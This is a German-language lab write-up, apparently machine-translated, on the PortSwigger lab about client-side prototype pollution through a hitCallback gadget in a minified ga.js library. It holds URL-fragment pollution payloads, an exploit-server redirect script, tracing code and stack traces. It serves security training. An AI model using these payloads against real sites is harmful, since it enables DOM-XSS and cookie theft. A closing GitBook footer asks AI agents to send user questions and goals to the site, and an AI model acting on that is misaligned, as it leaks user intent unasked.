> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Clientseitige Prototype Pollution in Drittanbieter-Bibliotheken

Notizen zur clientseitigen Prototype Pollution in Drittanbieter-Bibliotheken für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskonte

### Client-seitige Prototype-Pollution in Drittanbieter-Bibliotheken

#### Laborkontext

Dieses Lab ist anfällig für eine **DOM-XSS über eine clientseitige Prototype-Pollution**. / Das Besondere hier ist, dass das verwundbare **Gadget befindet sich in einer Drittanbieter-JavaScript-Bibliothek**, deren Code **minifiziert**, wodurch die manuelle Analyse komplexer wird.

Das Lab ist von realen Schwachstellen inspiriert, die hervorgehoben wurden von **PortSwigger Research**, insbesondere im Artikel Widespread prototype pollution gadgets von **Gareth Heyes**.

Endziel:/ \*\* Führe aus `alert(document.cookie)` im Browser des Opfers\*\*, unter Verwendung des bereitgestellten Exploit-Servers.

### Empfohlener Ansatz: Automatischer Angriff mit DOM Invader

#### Aktivierung von DOM Invader

1. Öffne den integrierten Browser, um **Burp Suite**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d625f4b980ff05ac2ee981dbafbd7eb2955cc8c1%2Fimage%20(91).png?alt=media" alt=""><figcaption></figcaption></figure>

* Überprüfe, dass die **DOM Invader** Erweiterung aktiv ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf3768a24da0bedae989d42b57b845992477fb3e%2Fimage%20(92).png?alt=media" alt=""><figcaption></figcaption></figure>

Aktivieren:

* **DOM Invader ist aktiviert**
* **Angriffstyp: Prototype-Pollution**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca3e288007fc1232a49467b13b395ddb8b615dd3%2Fimage%20(93).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Identifizierung der verwundbaren Quelle

* In dem **DOM Invader** Registerkarte, eine **Quelle für Prototype-Pollution** wird automatisch erkannt.
* DOM Invader zeigt an, dass eine Pollution über das \*\*URL-Fragment (`#`)\*\* möglich ist, und nicht über herkömmliche Einstellungen (`?`).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be14fd3875d6d4fe4b572a16950c0bd7c46eba10%2Fimage%20(94).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Automatische Gadget-Erkennung

1. Starte **Suche nach Gadgets** mit DOM Invader.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26a5ad548d394751e299020260b555900c6c0a77%2Fimage%20(95).png?alt=media" alt=""><figcaption></figcaption></figure>

In einer Drittanbieter-Bibliothek wird ein ausnutzbares Gadget identifiziert.

Durch Klicken auf **Exploit**, bestätigt DOM Invader die Ausführung mit einem `alert(1)`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9baf266ac3afb989041c05de92699b387d04716%2Fimage%20(97).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f10f97924c33e1f7586165ca87e2455b7fd2fba%2Fimage%20(96).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Endgültige Payload (document.cookie)

Von DOM Invader identifizierte Payload:

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

Diese Payload löst den Alert mit den Cookies aus

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e2db01e09fe312bd5961de76267f51da4e81d1c%2Fimage%20(98).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Auslieferung des Exploits an das Opfer

Der folgende Code wird zusammen mit dem **laufenden Server gesendet**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

Wenn das Opfer die Seite lädt, wird JavaScript in seinem Browser ausgeführt

### Manueller Ansatz (detaillierte Analyse)

#### Konventionelle Pollution-Versuche (Fehlschlag)

Die folgenden Payloads \*\* funktionieren nicht\*\*:

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

Ergebnis

```javascript
console.log({}.foo); // undefiniert
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb18e5d6bd87b621ba306bac8b703fd99dff75c6%2Fimage%20(99).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Pollution über URL-Fragment (Erfolg)

Allerdings funktioniert die Pollution \*\* mit `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

Dies zeigt, dass die verwundbare Quelle das URL-Fragment verarbeitet

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf6a41e16ee7930c805d3e349f8a834c9063f2b2%2Fimage%20(100).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Analyse der Drittanbieter-Bibliothek

* Es wird eine große Datei geladen:

/resources/js/ga.js

Etwa 3000 Zeilen, minifizierter Code.

* Diese Datei enthält einen Callback namens hitCallback, der ohne strenge Überprüfung verwendet wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f5e14d7e1ab8b6397b92cf54df121d6dd0e4aa1%2Fimage%20(101).png?alt=media" alt=""><figcaption></figcaption></figure>

### Manuelle Gadget-Identifizierung

#### Tracing-Technik mit `Object.defineProperty`

Um die Eigenschaften zu finden, die auf `Object.prototype`, injizieren wir:

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### Anhalten der JavaScript-Ausführung

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b582d901a85abad50fcc84cb6a0fc5a59043dbf0%2Fimage%20(102).png?alt=media" alt=""><figcaption></figcaption></figure>

Indem wir die HTML-Antwort abfangen, injizieren wir:

```javascript
<script>
    debugger;
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6e976a509e7be5eb20a86283701c0bfcf012439%2Fimage%20(103).png?alt=media" alt=""><figcaption></figcaption></figure>

Der Browser hält an bei \*\*

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecdbf4daf035d06b83dba3906bdd872d457da9a0%2Fimage%20(104).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Test von Kandidateneigenschaften

Beispiel mit nicht verwendeter Eigenschaft

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Kein interessanter Trace.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd7aed72f01a1de55bf34000bc8eeff781fc8403%2Fimage%20(106).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75f0885f74f91535d29eeb377b4383e5897697ab%2Fimage%20(105).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Gültige Gadget-Entdeckung: `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Ergebnis:

* `console.trace()` zeigt eine Aufrufkette von `ga.js`
* Die Eigenschaft wird ordnungsgemäß **gelesen und als Funktion ausgeführt**

Dieses Verhalten bestätigt, dass `hitCallback` als JavaScript-Callback aufgerufen wird

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b15979f40594902557c9c3362316d0bc94d5e8%2Fimage%20(107).png?alt=media" alt=""><figcaption></figcaption></figure>

Dieses Verhalten bestätigt, dass `hitCallback` als JavaScript-Callback aufgerufen wird

```javascript
Nicht abgefangener ReferenceError: polluted ist nicht definiert
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11dd93280be32ce207a0f9af097ba6a18d6ef6c0%2Fimage%20(108).png?alt=media" alt=""><figcaption></figcaption></figure>

* Das `hitCallback` Gadget ermöglicht eine beliebige \*\* JavaScript-Ausführung\*\*, was zu einer **DOM-XSS**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5d88453913b109956a694199f787e312a9cf6b%2Fimage%20(109).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
